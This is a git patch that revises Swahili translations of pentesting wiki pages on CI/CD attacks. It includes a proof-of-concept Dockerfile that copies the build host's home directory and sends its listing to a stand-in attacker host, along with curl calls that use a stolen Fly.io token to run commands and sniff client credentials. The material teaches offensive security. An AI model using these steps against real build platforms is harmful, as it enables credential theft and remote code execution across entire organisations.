From e4b7516ce16f6c0f3819d7aad2b7609c31426d21 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 25 Oct 2025 22:32:06 +0000 Subject: [PATCH] Translated ['src/pentesting-ci-cd/docker-build-context-abuse.md', 'src/p --- .../docker-build-context-abuse.md | 47 +++++----- .../pentesting-ci-cd-methodology.md | 85 ++++++++++--------- .../aws-services/aws-bedrock-enum.md | 2 +- 3 files changed, 68 insertions(+), 66 deletions(-) diff --git a/src/pentesting-ci-cd/docker-build-context-abuse.md b/src/pentesting-ci-cd/docker-build-context-abuse.md index 58f0624c7..fa09b99b8 100644 --- a/src/pentesting-ci-cd/docker-build-context-abuse.md +++ b/src/pentesting-ci-cd/docker-build-context-abuse.md @@ -4,22 +4,22 @@ ## TL;DR -Ikiwa jukwaa la CI/CD au hosted builder linamruhusu mchangiaji kubainisha njia ya Docker build context na njia ya Dockerfile, mara nyingi unaweza kuweka context kwa saraka ya mzazi (mfano, "..") na kufanya faili za mwenyeji kuwa sehemu ya build context. Kisha, Dockerfile iliyodhibitiwa na mshambuliaji inaweza kutumia COPY na exfiltrate siri zilizopatikana katika nyumbani kwa mtumiaji wa builder (kwa mfano, ~/.docker/config.json). Tokeni za registry zilizodukuliwa pia zinaweza kufanya kazi dhidi ya provider’s control-plane APIs, zikiruhusu RCE ya ngazi ya shirika. +Kama jukwaa la CI/CD au hosted builder linamruhusu mchango kutoa Docker build context path na Dockerfile path, mara nyingi unaweza kuweka context hadi directory ya mzazi (mfano, "..") na kufanya mafaili ya host kuwa sehemu ya build context. Kisha, Dockerfile inayodhibitiwa na mshambuliaji inaweza COPY na kutoa siri zilizopo kwenye home ya mtumiaji wa builder (kwa mfano, ~/.docker/config.json). Stolen registry tokens pia zinaweza kufanya kazi dhidi ya provider’s control-plane APIs, zikiwezesha org-wide RCE. ## Attack surface -Huduma nyingi za hosted builder/registry hufanya takriban yafuatayo wakati wa kujenga images zilizowasilishwa na watumiaji: -- Soma repo-level config inayojumuisha: -- build context path (inayotumwa kwa Docker daemon) +Many hosted builder/registry services do roughly this when building user-submitted images: +- Read a repo-level config that includes: +- build context path (sent to the Docker daemon) - Dockerfile path relative to that context -- Nakili saraka ya build context iliyotajwa na Dockerfile kwenda Docker daemon -- Jenga image na kuiendesha kama hosted service +- Copy the indicated build context directory and the Dockerfile to the Docker daemon +- Build the image and run it as a hosted service -Ikiwa jukwaa halifanyi canonicalize na kuzuiya build context, mtumiaji anaweza kuiweka kwa eneo nje ya repository (path traversal), na kusababisha faili yoyote ya mwenyeji inayosomwa na build user kuwa sehemu ya build context na kupatikana kwa ajili ya COPY katika Dockerfile. +If the platform does not canonicalize and restrict the build context, a user can set it to a location outside the repository (path traversal), causing arbitrary host files readable by the build user to become part of the build context and available to COPY in the Dockerfile. Practical constraints commonly observed: -- Dockerfile lazima iwe ndani ya chosen context path na njia yake lazima ijulikane mapema. -- build user lazima awe na haki za kusoma kwenye faili zilizojumuishwa katika context; special device files zinaweza kuvuruga nakili. +- The Dockerfile must reside within the chosen context path and its path must be known ahead of time. +- The build user must have read access to files included in the context; special device files can break the copy. ## PoC: Path traversal via Docker build context @@ -40,10 +40,11 @@ required: ["apiKey"] exampleConfig: apiKey: "sk-example123" ``` -- Kutumia ".." mara nyingi hurejea kwenye home ya mtumiaji builder (mf., /home/builder), ambayo kwa kawaida ina faili nyeti. -- Weka Dockerfile yako chini ya jina la directory la repo (mf., repo "test" → test/Dockerfile) ili ibaki ndani ya muktadha wa mzazi uliopanuliwa. +Vidokezo: +- Kutumia ".." mara nyingi husuluhisha kwenye home ya mtumiaji builder (kwa mfano, /home/builder), ambayo kawaida ina faili nyeti. +- Weka Dockerfile yako ndani ya saraka yenye jina la repo (kwa mfano, repo "test" → test/Dockerfile) ili ibaki ndani ya muktadha wa saraka mzazi uliopanuliwa. -## PoC: Dockerfile ya kuingiza na ku-exfiltrate muktadha wa host +## PoC: Dockerfile ya ingest na exfiltrate host context ```dockerfile FROM alpine RUN apk add --no-cache curl @@ -51,19 +52,19 @@ RUN mkdir /data COPY . /data # Copies entire build context (now builder’s $HOME) RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0) ``` -Malengo yanayopatikana mara kwa mara kutoka $HOME: +Malengo yanayopatikana mara nyingi kutoka $HOME: - ~/.docker/config.json (registry auths/tokens) -- Caches na configs nyingine za cloud/CLI (mfano, ~/.fly, ~/.kube, ~/.aws, ~/.config/*) +- Cache na config nyingine za cloud/CLI (mfano, ~/.fly, ~/.kube, ~/.aws, ~/.config/*) -Tip: Hata ukiwa na .dockerignore katika repository, uchaguzi dhaifu wa platform-side context bado unasimamia ni nini kinachotumwa kwa daemon. Ikiwa platform inakopa path iliyochaguliwa kwa daemon kabla ya kutathmini .dockerignore ya repo yako, faili za host bado zinaweza kufichuliwa. +Kidokezo: Hata ikiwa kuna .dockerignore katika repository, uchaguzi wa muktadha upande wa jukwaa ambao unaathiriwa bado ndio unaodhibiti nini kinatumwa kwa daemon. Iwapo jukwaa linanakili njia iliyochaguliwa kwa daemon kabla ya kutathmini .dockerignore ya repo yako, faili za host zinaweza bado kufichuka. -## Cloud pivot with overprivileged tokens (example: Fly.io Machines API) +## Kuingia kwenye cloud kwa tokens zenye ruhusa kupita kiasi (mfano: Fly.io Machines API) -Baadhi ya platforms hutolewa bearer token moja inayoweza kutumika kwa container registry na control-plane API. Ikiwa utaexfiltrate registry token, jaribu kuitumia dhidi ya provider API. +Baadhi ya majukwaa hutoa bearer token moja inayoweza kutumika kwa container registry na control-plane API. Ikiwa utaexfiltrate registry token, ujaribu dhidi ya provider API. -Example API calls against Fly.io Machines API using the stolen token from ~/.docker/config.json: +Mifano ya API calls dhidi ya Fly.io Machines API ukitumia token iliyoporwa kutoka ~/.docker/config.json: -Orodhesha apps katika org: +Enumerate apps in an org: ```bash curl -H "Authorization: Bearer fm2_..." \ "https://api.machines.dev/v1/apps?org_slug=smithery" @@ -74,11 +75,11 @@ curl -s -X POST -H "Authorization: Bearer fm2_..." \ "https://api.machines.dev/v1/apps//machines//exec" \ --data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}' ``` -Matokeo: remote code execution kwa shirika zima kwenye hosted apps zote ambapo token ina ruhusa za kutosha. +Matokeo: remote code execution kwa shirika nzima (org-wide) katika apps zote zilizo-hosted ambapo token ina privileges za kutosha. -## Uibwa wa siri kutoka kwa hosted services zilizoathiriwa +## Ujambazi wa siri kutoka kwa hosted services zilizothirika -Kwa exec/RCE kwenye hosted servers, unaweza kuvuna siri zilizotolewa na mteja (API keys, tokens) au kuanzisha prompt-injection attacks. Mfano: weka tcpdump na kunasa trafiki ya HTTP kwenye port 8080 ili kutoa kredenshiali zinazoingia. +Kwa exec/RCE kwenye hosted servers, unaweza kuvuna client-supplied secrets (API keys, tokens) au kuendesha prompt-injection attacks. Mfano: weka tcpdump na rekodi HTTP traffic kwenye port 8080 ili kutoa inbound credentials. ```bash # Install tcpdump inside the machine curl -s -X POST -H "Authorization: Bearer fm2_..." \ @@ -90,7 +91,7 @@ curl -s -X POST -H "Authorization: Bearer fm2_..." \ "https://api.machines.dev/v1/apps//machines//exec" \ --data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}' ``` -Maombi yaliyorekodiwa mara nyingi yana client credentials katika headers, bodies, au query params. +Maombi yaliyorekodiwa mara nyingi huwa na client credentials katika headers, bodies, au query params. ## Marejeo diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 65f05eac6..100aa55f6 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -6,47 +6,48 @@ ## VCS -VCS stands for **Version Control System**, systems hizi zinamruhusu developer ku **dhibiti source code yao**. Ilikuwa ya kawaida ni **git** na kawaida kampuni zitakutumia kwenye moja ya **platforms** zifuatazo: +VCS inamaanisha **Version Control System**, mfumo huu unawawezesha waendelezaji **kusimamia source code yao**. Ile inayotumika sana ni **git** na kawaida utapata makampuni wakitumia moja ya **platforms** zifuatazo: - Github - Gitlab - Bitbucket - Gitea - Gitblit -- Cloud providers (wao hutoa VCS platform zao) +- Cloud providers (wanatoa VCS platforms zao wenyewe) + ## CI/CD Pipelines -CI/CD pipelines zinawezesha developers **kuendesha kwa njia ya otomatiki execution ya code** kwa madhumuni mbalimbali, ikiwemo building, testing, na deploying applications. Workflow hizi za otomatiki hutazamwa na **vitendo maalum**, kama vile code pushes, pull requests, au scheduled tasks. Zinasaidia kurahisisha mchakato kutoka development hadi production. +CI/CD pipelines zinawezesha waendelezaji **ku-automate utekelezaji wa code** kwa madhumuni mbalimbali, ikiwa ni pamoja na ku-build, ku-test, na ku-deploy applications. Hizi workflows zilizo-automated huanzishwa kwa vitendo maalum, kama vile code pushes, pull requests, au tasks zilizopangwa. Zinasaidia kurahisisha mchakato kutoka development hadi production. -Hata hivyo, mifumo hii inahitaji **kuendeshwa mahali fulani** na mara nyingi kwa **credentials zilizo na privileges za juu ili ku-deploy code au kufikia taarifa nyeti**. +Hata hivyo, systems hizi zinahitaji **kuendeshwa mahali fulani** na kawaida kwa **credentials zenye privileges ili ku-deploy code au kupata taarifa nyeti**. ## VCS Pentesting Methodology > [!NOTE] > Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code. -Platforms zinazoshikilia source code ya project yako zinashikilia taarifa nyeti na watu wanapaswa kuwa waangalifu sana na permissions zinazotolewa ndani ya platform hii. Hapa kuna matatizo ya kawaida katika VCS platforms ambayo attacker anaweza kuchochea: +Platforms ambazo zina source code ya project yako zina taarifa nyeti na watu wanapaswa kuwa waangalifu sana na permissions zinazotolewa ndani ya platform hiyo. Hizi ni baadhi ya matatizo ya kawaida kwenye VCS platforms ambayo mshambuliaji anaweza kuyatumia: -- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks. -- **Access**: Ikiwa attacker anaweza **kuingia kwenye account ndani ya VCS platform** anaweza kupata **uwazi zaidi na permissions**. -- **Register**: Baadhi ya platforms zitaruhusu watumiaji wa nje kuunda account. -- **SSO**: Baadhi ya platforms hazitaruhusu watumiaji kujisajili, lakini zitawaruhusu mtu yeyote kuingia kwa SSO halali (hivyo attacker anaweza kutumia account yake ya github kuingia kwa mfano). -- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... kuna aina kadhaa za tokens mtu anaweza kuiba ili kupata access kwa njia mbalimbali kwenye repo. -- **Webhooks**: VCS platforms zinaweza kuunda webhooks. Ikiwa hazilindwa kwa siri zisizoonekana, **attacker anaweza kuzitumia**. -- If no secret is in place, the attacker could abuse the webhook of the third party platform -- If the secret is in the URL, the same happens and the attacker also have the secret -- **Code compromise:** Ikiwa muovu ana aina yoyote ya **write** access juu ya repos, anaweza kujaribu **kuficha malicious code**. Ili kufanikiwa anaweza kuhitaji **kubypass branch protections**. Vitendo hivi vinaweza kufanywa kwa malengo tofauti: - - Kuiba main branch ili **kucompromise production**. - - Kucompromise main (au matawi mengine) ili **kucompromise machines za developers** (wakati wao mara nyingi huendesha tests, terraform au vitu vingine ndani ya repo kwenye mashine zao). +- **Leaks**: Ikiwa code yako ina leaks katika commits na mshambuliaji anaweza kufikia repo (kwa sababu ni public au kwa sababu ana access), anaweza kugundua leaks hizo. +- **Access**: Ikiwa mshambuliaji anaweza **kupata account ndani ya VCS platform** anaweza kupata **uwazi zaidi na permissions**. +- **Register**: Baadhi ya platforms zinaruhusu watumiaji wa nje tu kuunda account. +- **SSO**: Baadhi ya platforms hazitaruhusu watumiaji kujisajili, lakini zitaruhusu mtu yeyote kuingia kwa SSO halali (kwa hivyo mshambuliaji anaweza kutumia github account yake kuingia kwa mfano). +- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... kuna aina kadhaa za tokens mtumiaji anaweza kuiba ili kupata access kwa repo kwa njia fulani. +- **Webhooks**: VCS platforms zinaweza kuunda webhooks. Ikiwa hazilindwa kwa secrets ambazo hazioniwi, **mshambuliaji anaweza kuzitumia**. +- Ikiwa hakuna secret iliyowekwa, mshambuliaji anaweza kutumia webhook ya platform ya tatu +- Ikiwa secret iko kwenye URL, hivyo ndivyo na mshambuliaji pia atakuwa na secret +- **Code compromise:** Ikiwa mtu mbaya ana aina ya access ya **write** juu ya repos, anaweza kujaribu **kuingiza malicious code**. Ili kufanikiwa anaweza kuhitaji **kupitisha branch protections**. Vitendo hivi vinaweza kufanywa kwa malengo mbalimbali: +- Kufanya compromise main branch ili **kudanganya production**. +- Kufanya compromise main (au matawi mengine) ili **kudanganya machines za developers** (kwa kuwa mara nyingi wanatekeleza tests, terraform au vitu vingine ndani ya repo kwenye machines zao). - **Compromise the pipeline** (angalia sehemu inayofuata) ## Pipelines Pentesting Methodology -Njia ya kawaida ya kufafanua pipeline ni kwa kutumia **CI configuration file hosted in the repository** pipeline inajenga. File hii inaelezea mpangilio wa jobs zinazotekelezwa, masharti yanayoathiri flow, na mazingira ya build.\ -Files hizi kwa kawaida zina majina na format zinazofanana, kwa mfano — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), na GitHub Actions YAML files ziko ndani ya .github/workflows. Wakati zinapoanzishwa, pipeline job **inapiga code** kutoka kwa source iliyochaguliwa (mfano commit / branch), na **inakimbiza commands zilizobainishwa ndani ya CI configuration file** dhidi ya code hiyo. +Njia ya kawaida ya kuielezea pipeline ni kwa kutumia **CI configuration file iliyohifadhiwa kwenye repository** ambayo pipeline inajenga. File hii inaeleza mfuatano wa jobs zinazotekelezwa, masharti yanayoathiri flow, na settings za build environment.\ +Files hizi kawaida zina jina na format thabiti, kwa mfano — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), na GitHub Actions YAML files ziko chini ya .github/workflows. Wakati zinapoanzishwa, pipeline job **inavuta code** kutoka kwenye source iliyochaguliwa (mfano commit / branch), na **inaendesha amri zilizobainishwa kwenye CI configuration file** dhidi ya code hiyo. -Hivyo lengo kuu la attacker ni kwa namna fulani **kucompromise hizo configuration files** au **commands wanazotekeleza**. +Kwa hivyo lengo la mwisho la mshambuliaji ni kwa namna fulani **kuharibu configuration files** hizo au **amri wanazotekeleza**. > [!TIP] > Some hosted builders let contributors choose the Docker build context and Dockerfile path. If the context is attacker-controlled, you may set it outside the repo (e.g., "..") to ingest host files during build and exfiltrate secrets. See: @@ -57,53 +58,53 @@ Hivyo lengo kuu la attacker ni kwa namna fulani **kucompromise hizo configuratio ### PPE - Poisoned Pipeline Execution -The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands. +The Poisoned Pipeline Execution (PPE) path inatumia permissions katika SCM repository kuharibu CI pipeline na kuendesha amri zenye madhara. Watumiaji walio na permissions zinazohitajika wanaweza kubadilisha CI configuration files au files nyingine zinazotumika na pipeline job ili kujumuisha amri hatarishi. Hii "inafanya pipeline kuwa poisonous", ikisababisha utekelezaji wa amri hizi hatarishi. -Ili muovu afanikiwe kufanya shambulio la PPE anahitaji: +Ili mshambuliaji afanikiwe kufanya shambulio la PPE anatakiwa: -- Kuwa na **write access to the VCS platform**, kwani kawaida pipelines zinaanzishwa wakati push au pull request inafanywa. (Angalia VCS pentesting methodology kwa muhtasari wa njia za kupata access). -- Kumbuka kwamba wakati mwingine **external PR inachukuliwa kuwa "write access"**. -- Hata kama ana write permissions, anahitaji kuwa na uhakika anaweza **kubadilisha CI config file au files nyingine ambazo config inategemea**. -- Kwa hili, anaweza kuhitaji uwezo wa **kubypass branch protections**. +- Kuwa na **write access kwenye VCS platform**, kwa kawaida pipelines huanzishwa wakati push au pull request inafanywa. (Angalia VCS pentesting methodology kwa muhtasari wa njia za kupata access). +- Kumbuka kwamba wakati mwingine **external PR inaweza kuhesabiwa kama "write access"**. +- Hata kama ana write permissions, anatakiwa kuhakikisha anaweza **kubadilisha CI config file au files nyingine ambazo config inategemea**. +- Kwa hili, anaweza kuhitaji kuwa anaweza **kupitisha branch protections**. Kuna aina 3 za PPE: -- **D-PPE**: A **Direct PPE** attack hutokea wakati muovu **anabadilisha CI config** file ambayo itatekelezwa. -- **I-DDE**: An **Indirect PPE** attack hutokea wakati muovu **anabadilisha** faili ambayo CI config inategemea (kama make file au terraform config). -- **Public PPE or 3PE**: Katika baadhi ya kesi pipelines zinaweza **kuanzishwa na watumiaji ambao hawana write access kwenye repo** (na ambao huenda si sehemu ya org) kwa sababu wanaweza kutuma PR. -- **3PE Command Injection**: Kawaida, CI/CD pipelines zitakuwa **zikiteua environment variables** na **taarifa kuhusu PR**. Ikiwa thamani hiyo inaweza kudhibitiwa na attacker (kama title ya PR) na inatumiwa mahali hatari (kama kutekeleza sh commands), attacker anaweza **kuingiza commands ndani yake**. +- **D-PPE**: A **Direct PPE** attack hutokea wakati mshambuliaji **anabadilisha CI config** file ambayo itatekelezwa. +- **I-DDE**: An **Indirect PPE** attack hutokea wakati mshambuliaji **anabadilisha** **file** ambayo CI config inategemea (kama make file au terraform config). +- **Public PPE or 3PE**: Katika baadhi ya matukio pipelines zinaweza **kuanzishwa na watumiaji wasiokuwa na write access kwenye repo** (na ambao huenda hata sio sehemu ya org) kwa sababu wanaweza kutuma PR. +- **3PE Command Injection**: Kawaida, CI/CD pipelines zitaweka **environment variables** zenye **tafsiri kuhusu PR**. Ikiwa thamani hiyo inaweza kudhibitiwa na mshambuliaji (kama title ya PR) na inatumiwa katika sehemu hatari (kama kutekeleza **sh commands**), mshambuliaji anaweza **kuingiza amri ndani yake**. ### Exploitation Benefits -Kutambua aina 3 za ku-chinika pipeline, tuchunguze kile attacker anaweza kupata baada ya kuthibitika: +Ukijua aina 3 za kuosha pipeline, tuchunguze kile mshambuliaji anaweza kupata baada ya exploitation yenye mafanikio: -- **Secrets**: Kama ilivyotajwa awali, pipelines zinahitaji **privileges** kwa jobs zao (kuchukua code, kui-build, kui-deploy...) na privileges hizi kawaida huwekwa kama **secrets**. Secrets hizi kwa kawaida zinapatikana kupitia **env variables au files ndani ya system**. Kwa hivyo attacker atajaribu kila nakala ku-exfiltrate secrets nyingi iwezekanavyo. -- Kutegemea platform ya pipeline attacker **anaweza kuhitaji kutaja secrets katika config**. Hii inamaanisha kwamba kama attacker hawezi kubadilisha CI configuration pipeline (**I-PPE** kwa mfano), anaweza **ku-exfiltrate tu secrets ambazo pipeline ina**. -- **Computation**: Code inatekelezwa mahali fulani, kutegemea wapi inatekelezwa attacker anaweza kuweza kupindua zaidi. -- **On-Premises**: Ikiwa pipelines zinaendeshwa on-premises, attacker anaweza kuingia kwenye **internal network na access kwa rasilimali zaidi**. -- **Cloud**: Attacker anaweza kupata **machines nyingine kwenye cloud** lakini pia anaweza **ku-exfiltrate** IAM roles/service accounts **tokens** kutoka hapo ili kupata **access zaidi ndani ya cloud**. -- **Platforms machine**: Wakati mwingine jobs zitakuwa zimekimbizwa ndani ya **pipelines platform machines**, ambazo kwa kawaida ziko ndani ya cloud na **havina access zaidi**. -- **Select it:** Wakati mwingine **pipelines platform itakuwa ime-configure machines kadhaa** na ikiwa unaweza **kubadilisha CI configuration file** unaweza **kuonyesha wapi unataka kukimbiza malicious code**. Katika hali hii, attacker atafanya labda reverse shell kwenye kila machine inayowezekana kujaribu kuilazimisha zaidi. -- **Compromise production**: Ikiwa uko ndani ya pipeline na version ya mwisho inajengwa na ku-deploy kutoka kwake, unaweza **kucompromise code ambayo itakuwa inayoendesha production**. +- **Secrets**: Kama ilivyotajwa awali, pipelines zinahitaji **privileges** kwa jobs zao (kuvuta code, kuijenga, ku-deploy...) na privileges hizi kawaida **hutolewa kama secrets**. Secrets hizi kwa kawaida zinapatikana kupitia **env variables au files ndani ya system**. Kwa hivyo mshambuliaji ataendelea kujaribu kutoa secrets nyingi iwezekanavyo. +- Kulingana na pipeline platform mshambuliaji **anaweza kuhitaji kueleza secrets kwenye config**. Hii inamaanisha ikiwa mshambuliaji hawezi kubadilisha CI configuration pipeline (**I-PPE** kwa mfano), anaweza **kutoa tu secrets ambazo pipeline ina**. +- **Computation**: Code inaendeshwa mahali fulani, kutegemea wapi inatekelezwa mshambuliaji anaweza kuweza pivot zaidi. +- **On-Premises**: Ikiwa pipelines zinaendeshwa on premises, mshambuliaji anaweza kuingia kwenye **internal network yenye access kwa rasilimali zaidi**. +- **Cloud**: Mshambuliaji anaweza kufikia **machines nyingine katika cloud** lakini pia anaweza **kutoa** IAM roles/service accounts **tokens** kutoka humo ili kupata **access zaidi ndani ya cloud**. +- **Platforms machine**: Wakati mwingine jobs zitaendeshwa ndani ya **machines za pipelines platform**, ambazo kwa kawaida ziko ndani ya cloud na **hazina access zaidi**. +- **Select it:** Wakati mwingine **pipelines platform itakuwa ime-configure machines kadhaa** na ikiwa unaweza **kubadilisha CI configuration file** unaweza **onyesha wapi ungependa kuendesha malicious code**. Katika hali hii, mshambuliaji huenda akaendesha reverse shell kwenye kila machine inayowezekana ili kujaribu kuizidisha. +- **Compromise production**: Ukiwa ndani ya pipeline na version ya mwisho inajaribiwa na ku-deploy kutoka kwake, unaweza **kuharibu code itakayokwenda kuendesha production**. ## More relevant info ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) ni tool ya open-source kwa auditing ya software supply chain stack kwa security compliance kulingana na [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Auditing inazingatia mchakato wa SDLC mzima, ambapo inaweza kufichua hatari kutoka wakati wa kuandika code hadi wakati wa ku-deploy. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) ni zana ya open-source ya kufanya auditing ya software supply chain stack yako kwa security compliance kulingana na mpya [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Auditing inazingatia mchakato mzima wa SDLC, ambapo inaweza kufichua hatari kutoka wakati wa code hadi wakati wa deploy. ### Top 10 CI/CD Security Risk -Angalia makala hii ya kuvutia kuhusu top 10 CI/CD risks kwa mujibu wa Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) +Tazama makala hii ya kuvutia kuhusu top 10 CI/CD risks kulingana na Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) ### Labs -- Kila platform ambayo unaweza kuendesha locally utapata jinsi ya kuianzisha locally ili uweze ku-configure kama unavyotaka kuipima +- Kwenye kila platform ambayo unaweza kuendesha kwa local utapata jinsi ya kuilanzisha local ili uweze kui-configure kama unavyotaka kuijaribu - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools -- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** ni tool ya static code analysis kwa infrastructure-as-code. +- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** ni zana ya static code analysis kwa infrastructure-as-code. ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md index 87970a134..50f8745a7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md @@ -4,7 +4,7 @@ ## Muhtasari -Amazon Bedrock ni huduma inayosimamiwa kikamilifu inayofanya iwe rahisi kujenga na kupanua maombi ya AI ya generative kwa kutumia modeli za msingi (FMs) kutoka kwa startup za AI zinazoongoza na Amazon. Bedrock hutoa upatikanaji wa FMs mbalimbali kupitia API moja, ikiwawezesha waendelezaji kuchagua modeli inayofaa zaidi kwa matumizi yao maalum bila kusimamia miundombinu ya msingi. +Amazon Bedrock ni huduma iliyosimamiwa kikamilifu ambayo inafanya iwe rahisi kujenga na kupanua maombi ya AI ya kizazi kwa kutumia foundation models (FMs) kutoka kwa startups za AI zinazoongoza na Amazon. Bedrock inatoa ufikiaji wa FMs mbalimbali kupitia API moja, ikiwaruhusu waendelezaji kuchagua modeli inayofaa zaidi kwa matumizi yao maalum bila kusimamia miundombinu ya msingi. ## Post Exploitation